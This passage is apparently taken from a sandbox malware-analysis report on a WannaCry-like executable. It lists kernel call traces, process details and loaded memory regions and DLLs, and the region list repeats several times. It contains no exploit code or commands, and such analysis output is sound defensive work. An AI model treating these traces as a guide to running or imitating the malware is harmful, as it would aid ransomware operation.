(FastMutex=0xffffe000011e83f0) [0143.717] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.737] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.737] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.744] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.744] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e83f0) [0143.744] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.794] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.794] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.794] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.794] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.794] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.794] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.826] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.826] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e83f0) [0143.826] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.826] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.826] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e83f0) [0143.826] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.848] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.848] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.848] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.848] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.848] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.848] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.864] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.864] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e83f0) [0143.864] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.864] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.864] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e83f0) [0143.864] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.919] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.919] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.919] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.919] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.919] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.919] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.936] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.936] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e83f0) [0143.936] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.936] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.936] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e83f0) [0143.936] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.991] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.991] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.991] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.991] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.991] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.991] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0143.991] IoGetCurrentProcess () returned 0xffffe000015af200 [0143.991] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0143.991] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0144.100] MmUnmapViewOfSection (Process=0xffffe000015af200, BaseAddress=0x2fb9950000) returned 0x0 [0144.101] MmUnmapViewOfSection (Process=0xffffe000015af200, BaseAddress=0x2fbafe0000) returned 0x0 Process: id = "81" image_name = "wanacr~1.exe" filename = "c:\\progra~1\\common~1\\wanacr~1.exe" page_root = "0x70ee4000" os_pid = "0xaac" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "80" os_parent_pid = "0xa88" cmd_line = "C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 9853 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 9854 start_va = 0x4780000000 end_va = 0x47803fffff entry_point = 0x0 region_type = private name = "private_0x0000004780000000" filename = "" Region: id = 9855 start_va = 0x47ffed0000 end_va = 0x47ffeeffff entry_point = 0x0 region_type = private name = "private_0x00000047ffed0000" filename = "" Region: id = 9856 start_va = 0x47ffef0000 end_va = 0x47ffefefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000047ffef0000" filename = "" Region: id = 9857 start_va = 0x47fff00000 end_va = 0x47fff03fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000047fff00000" filename = "" Region: id = 9858 start_va = 0x7ff6cef60000 end_va = 0x7ff6cef82fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6cef60000" filename = "" Region: id = 9859 start_va = 0x7ff6cef8a000 end_va = 0x7ff6cef8afff entry_point = 0x0 region_type = private name = "private_0x00007ff6cef8a000" filename = "" Region: id = 9860 start_va = 0x7ff6cef8e000 end_va = 0x7ff6cef8ffff entry_point = 0x0 region_type = private name = "private_0x00007ff6cef8e000" filename = "" Region: id = 9861 start_va = 0x7ff6cf310000 end_va = 0x7ff6cf418fff entry_point = 0x7ff6cf33fa1c region_type = mapped_file name = "wanacr~1.exe" filename = "\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" (normalized: "c:\\progra~1\\common~1\\wanacr~1.exe") Region: id = 9862 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 9863 start_va = 0x47fff10000 end_va = 0x47fff11fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000047fff10000" filename = "" Region: id = 9865 start_va = 0x4780400000 end_va = 0x478095ffff entry_point = 0x0 region_type = private name = "private_0x0000004780400000" filename = "" Region: id = 9866 start_va = 0x47fff20000 end_va = 0x47fff21fff entry_point = 0x0 region_type = private name = "private_0x00000047fff20000" filename = "" Region: id = 9867 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 9868 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 9869 start_va = 0x4780400000 end_va = 0x478040ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004780400000" filename = "" Region: id = 9870 start_va = 0x4780560000 end_va = 0x478095ffff entry_point = 0x0 region_type = private name = "private_0x0000004780560000" filename = "" Region: id = 9871 start_va = 0x7ff6cee60000 end_va = 0x7ff6cef5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6cee60000" filename = "" Region: id = 9872 start_va = 0x4780410000 end_va = 0x478048dfff entry_point = 0x4780410000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 9873 start_va = 0x7ffd15300000 end_va = 0x7ffd15308fff entry_point = 0x7ffd15301080 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 9874 start_va = 0x7ffd152f0000 end_va = 0x7ffd152f9fff entry_point = 0x7ffd152f10c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 9875 start_va = 0x7ffd152d0000 end_va = 0x7ffd152eefff entry_point = 0x7ffd152d23f8 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 9876 start_va = 0x7ffd1af40000 end_va = 0x7ffd1b199fff entry_point = 0x7ffd1af44740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 9877 start_va = 0x7ffd17a20000 end_va = 0x7ffd17a3afff entry_point = 0x7ffd17a21050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 9878 start_va = 0x4780490000 end_va = 0x4780496fff entry_point = 0x0 region_type = private name = "private_0x0000004780490000" filename = "" Region: id = 9879 start_va = 0x7ffd17f30000 end_va = 0x7ffd1816ffff entry_point = 0x7ffd17f313f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 9880 start_va = 0x7ffd1dd30000 end_va = 0x7ffd1dd36fff entry_point = 0x7ffd1dd31010 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 9881 start_va = 0x7ffd18a60000 end_va = 0x7ffd18a88fff entry_point = 0x7ffd18a67968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 9882 start_va = 0x7ffd1c330000 end_va = 0x7ffd1c34efff entry_point = 0x7ffd1c3312f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 9883 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 9884 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 9885 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 9886 start_va = 0x7ffd1f550000 end_va = 0x7ffd1f5e9fff entry_point = 0x7ffd1f5511a4 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 9887 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 9888 start_va = 0x7ffd1dd50000 end_va = 0x7ffd1f15efff entry_point = 0x7ffd1dd51100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 9889 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 9890 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 9891 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 9892 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 9893 start_va = 0x7ffd1a3f0000 end_va = 0x7ffd1a419fff entry_point = 0x7ffd1a3fa768 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 9894 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 9895 start_va = 0x7ffd17c80000 end_va = 0x7ffd17f27fff entry_point = 0x7ffd17c8ddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 9896 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 9897 start_va = 0x7ffd18a50000 end_va = 0x7ffd18a59fff entry_point = 0x7ffd18a510c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 9898 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 9899 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 9900 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 9901 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 9902 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 9903 start_va = 0x7ffd1bb20000 end_va = 0x7ffd1bb45fff entry_point = 0x7ffd1bb2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 9904 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 9905 start_va = 0x4780960000 end_va = 0x4780b3ffff entry_point = 0x0 region_type = private name = "private_0x0000004780960000" filename = "" Region: id = 9906 start_va = 0x47804a0000 end_va = 0x47804a6fff entry_point = 0x0 region_type = private name = "private_0x00000047804a0000" filename = "" Region: id = 9907 start_va = 0x47804b0000 end_va = 0x47804e3fff entry_point = 0x47804b1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 9908 start_va = 0x4780960000 end_va = 0x4780ae7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004780960000" filename = "" Region: id = 9909 start_va = 0x4780b30000 end_va = 0x4780b3ffff entry_point = 0x0 region_type = private name = "private_0x0000004780b30000" filename = "" Region: id = 9910 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 9911 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 9912 start_va = 0x4780b40000 end_va = 0x4780cc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004780b40000" filename = "" Region: id = 9913 start_va = 0x4780cd0000 end_va = 0x47820cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004780cd0000" filename = "" Region: id = 9914 start_va = 0x47804b0000 end_va = 0x47804b0fff entry_point = 0x0 region_type = private name = "private_0x00000047804b0000" filename = "" Region: id = 9915 start_va = 0x47804c0000 end_va = 0x47804c0fff entry_point = 0x0 region_type = private name = "private_0x00000047804c0000" filename = "" Region: id = 9916 start_va = 0x47804d0000 end_va = 0x47804d0fff entry_point = 0x47804d0000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 9917 start_va = 0x47804e0000 end_va = 0x47804e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000047804e0000" filename = "" Region: id = 9918 start_va = 0x47820d0000 end_va = 0x478228ffff entry_point = 0x0 region_type = private name = "private_0x00000047820d0000" filename = "" Region: id = 9919 start_va = 0x47820d0000 end_va = 0x4782189fff entry_point = 0x47820fc768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 9920 start_va = 0x4782280000 end_va = 0x478228ffff entry_point = 0x0 region_type = private name = "private_0x0000004782280000" filename = "" Region: id = 9921 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 9922 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 9923 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 9924 start_va = 0x47804d0000 end_va = 0x47804d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000047804d0000" filename = "" Region: id = 9925 start_va = 0x47820d0000 end_va = 0x47821bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000047820d0000" filename = "" Region: id = 9926 start_va = 0x47804d0000 end_va = 0x47804d3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000047804d0000" filename = "" Region: id = 9927 start_va = 0x47804f0000 end_va = 0x47804f6fff entry_point = 0x0 region_type = private name = "private_0x00000047804f0000" filename = "" Region: id = 9928 start_va = 0x4782290000 end_va = 0x478238ffff entry_point = 0x0 region_type = private name = "private_0x0000004782290000" filename = "" Region: id = 9929 start_va = 0x4782390000 end_va = 0x4782490fff entry_point = 0x47823bfa1c region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Program Files\\Common Files\\wanacry6.malware.exe" (normalized: "c:\\program files\\common files\\wanacry6.malware.exe") Region: id = 9930 start_va = 0x4780500000 end_va = 0x4780500fff entry_point = 0x0 region_type = private name = "private_0x0000004780500000" filename = "" Region: id = 9931 start_va = 0x7ffd1b1a0000 end_va = 0x7ffd1b1c0fff entry_point = 0x7ffd1b1a1100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 9932 start_va = 0x4782390000 end_va = 0x4782664fff entry_point = 0x4782390000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 9933 start_va = 0x4780510000 end_va = 0x4780512fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004780510000" filename = "" Region: id = 9934 start_va = 0x4780510000 end_va = 0x4780510fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004780510000" filename = "" Region: id = 9935 start_va = 0x4780520000 end_va = 0x4780520fff entry_point = 0x0 region_type = private name = "private_0x0000004780520000" filename = "" Region: id = 9936 start_va = 0x4782670000 end_va = 0x4782b61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004782670000" filename = "" Region: id = 9937 start_va = 0x4782b70000 end_va = 0x47839dffff entry_point = 0x4782b70000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 9938 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9939 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9940 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9941 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9942 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9943 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9944 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9945 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9946 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9947 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9948 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9949 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9950 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9951 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9952 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9953 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9954 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9955 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9956 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9957 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9958 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9959 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9960 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = 